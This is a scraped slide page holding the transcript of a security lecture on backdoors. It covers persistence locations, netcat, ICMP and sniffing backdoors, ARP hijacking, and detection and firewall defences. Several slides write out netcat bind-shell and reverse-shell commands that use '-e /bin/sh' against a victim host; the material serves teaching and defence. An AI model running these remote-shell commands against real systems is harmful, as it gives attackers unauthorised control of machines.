Backdoors A backdoor is a program that allows attackers to bypass normal security controls on a system, gaining access on the attacker’s own terms.

Slides:



Advertisements
Similar presentations
Backdoors, Trojans and Rootkits CIS 413 This presentation is an amalgam of presentations by Mark Michael, Randy Marchany and Ed Skoudis. I have edited.
Advertisements

 Dynamic policies o Change as system security state/load changes o GAA architecture  Extended access control lists  Pre-, mid- and post-conditions,
IUT– Network Security Course 1 Network Security Firewalls.
Hands-On Ethical Hacking and Network Defense Chapter 5 Port Scanning.
Hands-On Ethical Hacking and Network Defense Chapter 5 Port Scanning Last updated
Sniffing, Spoofing, Hijacking This presentation is an amalgam of presentations by Mark Michael, Randy Marchany and Ed Skoudis. I have edited and added.
CSCI 530 Lab Firewalls. Overview Firewalls Capabilities Limitations What are we limiting with a firewall? General Network Security Strategies Packet Filtering.
Hacking Linux Based on Hacking Linux Exposed Hatch, Lee, and Kurtz ISBN
Building Your Own Firewall Chapter 10. Learning Objectives List and define the two categories of firewalls Explain why desktop firewalls are used Explain.
Linux Networking TCP/IP stack kernel controls the TCP/IP protocol Ethernet adapter is hooked to the kernel in with the ipconfig command ifconfig sets the.
Securing Network using Linux. Lesson Outline Setting up a secure system TCP Wrapper configuration Firewalls in Linux Authentication Systems –NIS –Kerberos.
Intruder Trends Tom Longstaff CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA Sponsored by.
Potions of Protection Server Security. What does that do again? Familiarity Differing levels of protection –Low, does not exist –Medium, No private data.
Computer Security and Penetration Testing
Chapter 2 Networking Overview. Figure 2.1 Generic protocol layers move data between systems.
Attack Profiles CS-480b Dick Steflik Attack Categories Denial-of-Service Exploitation Attacks Information Gathering Attacks Disinformation Attacks.
Beyond Security Ltd. Port Knocking Beyond Security Noam Rathaus CTO Sunday, July 11, 2004 Presentation on.
COEN 252: Computer Forensics Router Investigation.
TCP/IP Tools Lesson 5. Objectives Skills/ConceptsObjective Domain Description Objective Domain Number Using basic TCP/IP commands Understanding TCP/IP3.6.
Internet Relay Chat Security Issues By Kelvin Lau and Ming Li.
Internet Relay Chat Chandrea Dungy Derek Garrett #29.
Chapter 11 Phase 5: Covering Tracks and Hiding. Attrition Web Site  Contains an archive of Web vandalism attacks
1 Advanced Application and Web Filtering. 2 Common security attacks Finding a way into the network Exploiting software bugs, buffer overflows Denial of.
Port Scanning.
1 Chapter 6 Network Security Threats. 2 Objectives In this chapter, you will: Learn how to defend against packet sniffers Understand the TCP, UDP, and.
Chapter Eleven An Introduction to TCP/IP. Objectives To compare TCP/IP’s layered structure to OSI To review the structure of an IP address To look at.
OSI Model Routing Connection-oriented/Connectionless Network Services.
1 Figure 5-4: Drivers of Performance Requirements: Traffic Volume and Complexity of Filtering Performance Requirements Traffic Volume (Packets per Second)
Hands-On Microsoft Windows Server 2003 Networking Chapter Three TCP/IP Architecture.
1 Reconnaissance, Network Mapping, and Vulnerability Assessment ECE4112 – Internetwork Security Georgia Institute of Technology.
70-291: MCSE Guide to Managing a Microsoft Windows Server 2003 Network Chapter 3: TCP/IP Architecture.
Karlstad University Introduction to Vulnerability Assessment Labs Ge Zhang Dvg-C03.
ECE4112 Lab 7: Honeypots and Network Monitoring and Forensics Group 13 + Group 14 Allen Brewer Jiayue (Simon) Chen Daniel Chu Chinmay Patel.
COEN 350 Security Threats. Network Based Exploits Phases of an Attack  Reconnaissance  Scanning  Gaining Access  Expanding Access  Covering Tracks.
1 CHAPTER 3 CLASSES OF ATTACK. 2 Denial of Service (DoS) Takes place when availability to resource is intentionally blocked or degraded Takes place when.
Hacker’s Strategies Revealed WEST CHESTER UNIVERSITY Computer Science Department Yuchen Zhou March 22, 2002.
Beginning Network Security Monitor and control flow into and out of the LAN Ingress Egress Only let in the good guys Only let out the corp. business.
Linux Networking and Security
Firewalling With Netfilter/Iptables. What Is Netfilter/Iptables? Improved successor to ipchains available in linux kernel 2.4/2.6. Netfilter is a set.
Distributed Denial of Service Attacks Shankar Saxena Veer Vivek Kaushik.
1 Figure 4-1: Targeted System Penetration (Break-In Attacks) Host Scanning  Ping often is blocked by firewalls  Send TCP SYN/ACK to generate RST segments.
CHAPTER 9 Sniffing.
Packet Filtering COMP 423. Packets packets datagram To understand how firewalls work, you must first understand packets. Packets are discrete blocks of.
Chapter 8 Phase3: Gaining Access Using Network Attacks
Topics Network topology Virtual LAN Port scanners and utilities Packet sniffers Weak protocols Practical exercise.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Backdoors and Rootkits.
Sniffer, tcpdump, Ethereal, ntop
Security fundamentals Topic 10 Securing the network perimeter.
Rootkits, Backdoors, and Trojans ECE 4112 – Lab 5 Summary – Spring 2006 Group 9 Greg Sheridan Terry Harvey Group 10 Matthew Bowman Laura Silaghi Michael.
17 Establishing Dial-up Connection to the Internet Using Windows 9x 1.Install and configure the modem 2.Configure Dial-Up Adapter 3.Configure Dial-Up Networking.
Hands-On Ethical Hacking and Network Defense
Quiz 2 -> Exam Topics Fall Chapter 10a - Firewalls Simple Firewall - drops packets based on IP, port Stateful - Keeps track of connections, set.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Covert Channels.
IPv6 Security Issues Georgios Koutepas, NTUA IPv6 Technology and Advanced Services Oct.19, 2004.
Firewalls. Overview of Firewalls As the name implies, a firewall acts to provide secured access between two networks A firewall may be implemented as.
Fall  Computer Crimes  Operating System Identification  Firewalking 2.
Introduction to Vulnerability Assessment Labs Ge Zhang Dvg-C03.
Firewalls. A Firewall is: a) Device that interconnects two networks b) Network device that regulates the access to an internal network c) Program that.
Security fundamentals
Network and System Security Risk Assessment
Port Scanning James Tate II
Networks Fall 2009.
FIREWALL configuration in linux
Backdoor Attacks.
Packet Sniffers Lecture 10 - NETW4006 NETW4006-Lecture09.
Port Scanning (based on nmap tool)
Packet Filtering Dick Steflik.
Setting Up Firewall using Netfilter and Iptables
OPS235: Configuring a Network Using Virtual Machines – Part 2
Presentation transcript:

Backdoors A backdoor is a program that allows attackers to bypass normal security controls on a system, gaining access on the attacker’s own terms.

Types of backdoors Local escalation of privileges Allow attackers that have an account to obtain administrator privileges Remote execution of individual commands Remote attackers can send a message to a victim machine that allows them to execute a single command on the victim Remote command-line access (aka remote shell) Remote attacker can type directly into a command prompt of the victim machine across the network Remote control of GUI Remote attacker controls the GUI of the victim machine across the network

Installing backdoors Planted directly by attackers once they have gained access Automated worms and malicious mobile code Tricking the victim into installing (viruses and trojans)

Starting Backdoors in Win32 Attaching to OS boot routine or startup files Autostart Folders Win.ini, System.ini, Wininit.ini, Winstart.bat, Autoexec.bat Config.sys Registry Abuses HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Undermining the Task Scheduler Attacker can run a specific program at specific times “Scheduled Tasks GUI”

Starting Backdoors in UNIX OS Services inittab System and service initialization scripts (/etc/init.d) inetd/xinetd (on-demand daemon) User startup scripts (.cshrc,.login, etc.) “cron” and “at”

Example backdoors

netcat All purpose connection gadget All purpose connection gadget UNIX and Windows Flexible application that can be used as a backdoor Can also be used for remote trouble shooting, file transfer, and system port scanning Makes connections between programs running on target machine and the network (conduit) Redirects input/output to the network Can use TCP or UDP Encryption via cryptcat

Standard cat $ echo hello hello $ echo hello >foo.txt $ cat foo.txt hello $ echo hello | cat hello $ echo hello | cat | cat | cat >foo.txt $ cat foo.txt hello

netcat On computer 1, execute program “echo hello” and redirect output to local netcat server on 8888 Connect to computer 1 at 8888 and redirect output to file foo.txt victim$ echo hello | nc –l –p 8888 attacker$ nc victim 8888 >foo.txt attacker$ cat foo.txt hello

netcat Backdoor shell listener Connecting to shell victim$ nc –l –p 8888 –e /bin/sh attacker$ nc comp1 8888

Getting past firewalls and NATConnectionAttempt Attacker Firewall Or NAT X nc –l –p 8888 –e /bin/sh nc victim 8888 Victim

netcat Bypassing firewalls and NAT devices “Shoveling a shell” Make attacker run the listener Have victim initiate outgoing connection attacker$ nc -l -p 8888 victim$ nc attacker e /bin/sh Connection shovel Attacker Firewall nc attacker 8888 –e /bin/sh nc –l –p 8888 Victim

GUIs Across the Network Remote GUI Software VNC Remote Desktop Service Citrix MetaFrame PCAnywhere GoToMyPC Back Orifice X applications

Backdoors without Ports

ICMP Backdoors All ICMP messages have three ideal characteristics. No concept of ports. Many networks allow certain types of ICMP messages into the network. Payload field can be plopped on the end of any ICMP message type Examples: Loki, 007shell, ICMP tunnel

Nonpromiscuous Sniffing Only looks at traffic destined for the machine. Cd00r joins sniffer with backdoor (Linux) attacker configures machine to look for packets destined for a specific series of TCP ports. opens backdoor when series is received. Example TCP Port-knocking SYN Port 80 Attacker Compromised machine SYN Port 22 SYN Port 25 shell on port 5002

Promiscuous Sniffing Stealth communication to a backdoor Use promiscuous sniffing to gather all traffic on a LAN Encode packets containing backdoor commands to other machines on a victim’s LAN Use spoofing to communicate from victim back to attacker

Promiscuous Sniffing Attacker wants to be tricky to hide its presence Fake Victim A Real Victim B Attacker Internet

Promiscuous Sniffing Real network traffic goes like this Fake Victim A Attacker Real Victim B Internet

Promiscuous Sniffing But to the sysadmin, it looks like this, because of forged packets! Fake Victim A Attacker Real Victim B Internet

Promiscuous Sniffing Example Attacker exploits victim DNS server on LAN Sets up promiscuous sniffing on victim Attacker sends packets with commands to a different machine on victim’s LAN (e.g. a web server) Web server ignores packets, but backdoor on victim DNS server uses them Victim DNS server responds using packets with spoofed address of the web server Works best with hubs, but can be adapted for switches. ARP cache poisoning (hijacking ARPs)

Ethernet – Hijacking ARPs A wants to talk to C A ARPs: “Where’s C?”

Ethernet – Hijacking ARPs Switch ARP’s to network “Where’s C?”

Ethernet – Hijacking ARPs C Replies: “I’m over here!”

Ethernet – Hijacking ARPs Switch forwards ARP reply to A. “C is over there”

Ethernet – Hijacking ARPs Now switch knows where to route communication to C

Ethernet – Hijacking ARPs Evil host B’ wants to take over all communication to B. ARPs: B’: “I’m B, over here!”

Ethernet – Hijacking ARPs When A wants to communicate to B, communication now routed to B’!

Backdoor Defenses Local machine Hardening machine and applying patches Examine automated startup AutoRuns from Sysinternals AutoRun from Faber Toys File integrity checks for critical files and the registry Tripwire, AIDE, Osiris Check for unusual processes especially running as root, Administrator, or SYSTEM. Check for unusual sockets and connections fport, lsof, netstat, TCPview Check for promiscuous sniffing locally ifconfig system logs

fport

netstat netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:32768 *:* LISTEN tcp 0 0 *:32769 *:* LISTEN tcp 0 0 *:sunrpc *:* LISTEN tcp 0 0 *:http *:* LISTEN tcp 0 0 *:x11 *:* LISTEN tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 *:8025 *:* LISTEN tcp 0 0 *:smtp *:* LISTEN tcp 0 0 *:795 *:* LISTEN

lsof lsof -i COMMAND PID USER FD TYPE DEVICE NODE NAME portmap 466 rpc 3u IPv UDP *:sunrpc portmap 466 rpc 4u IPv TCP *:sunrpc (LISTEN) rpc.statd 485 rpcuser 4u IPv UDP *:32768 rpc.statd 485 rpcuser 5u IPv UDP *:661 rpc.statd 485 rpcuser 6u IPv TCP *:32768 (LISTEN) ssh 551 root 3u IPv TCP morbo:33022->maes:ssh (ESTABLISHED) sshd 588 root 3u IPv TCP *:ssh (LISTEN) ntpd 601 ntp 4u IPv UDP *:ntp ntpd 601 ntp 5u IPv UDP :ntp rpc.rquot 615 root 3u IPv UDP *:792 rpc.rquot 615 root 4u IPv TCP *:795 (LISTEN) rpc.mount 627 root 3u IPv UDP *:32769 rpc.mount 627 root 4u IPv TCP *:32769 (LISTEN) sendmail 646 root 4u IPv TCP *:smtp (LISTEN) xinetd 726 root 5u IPv TCP *:ftp (LISTEN) X 785 root 1u IPv TCP *:x11 (LISTEN) pass 1888 francis 4u IPv TCP *:8025 (LISTEN)

Backdoor Defenses Local machine Filtering unneeded ports on end-hosts Windows Personal firewalls »Zone Alarm, Tiny Personal Firewall, BlackICE, Norton Personal Firewall, Windows Firewall Windows TCP/IP Filtering »Control Panel->Network->Interface->Properties »->TCP/IP->Advanced->Options->TCP/IP Filtering Linux /etc/hosts.allow Linux iptables/netfilter root]# iptables --list Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere anywhere tcp flags:SYN,ACK/SYN root]#

Backdoor Defenses Network Network firewalls with explicit rules Periodic port scans nmap GRC Shields-up! nessus Testing for promiscuous sniffing over the network Ping packet Set Destination MAC address randomly Sequence through all IP addresses on the subnet Those that respond are promiscuous Dest Mac Addr [Ethernet Header stuff] Dest IP Address [IP Header Stuff] [ICMP Stuff]

End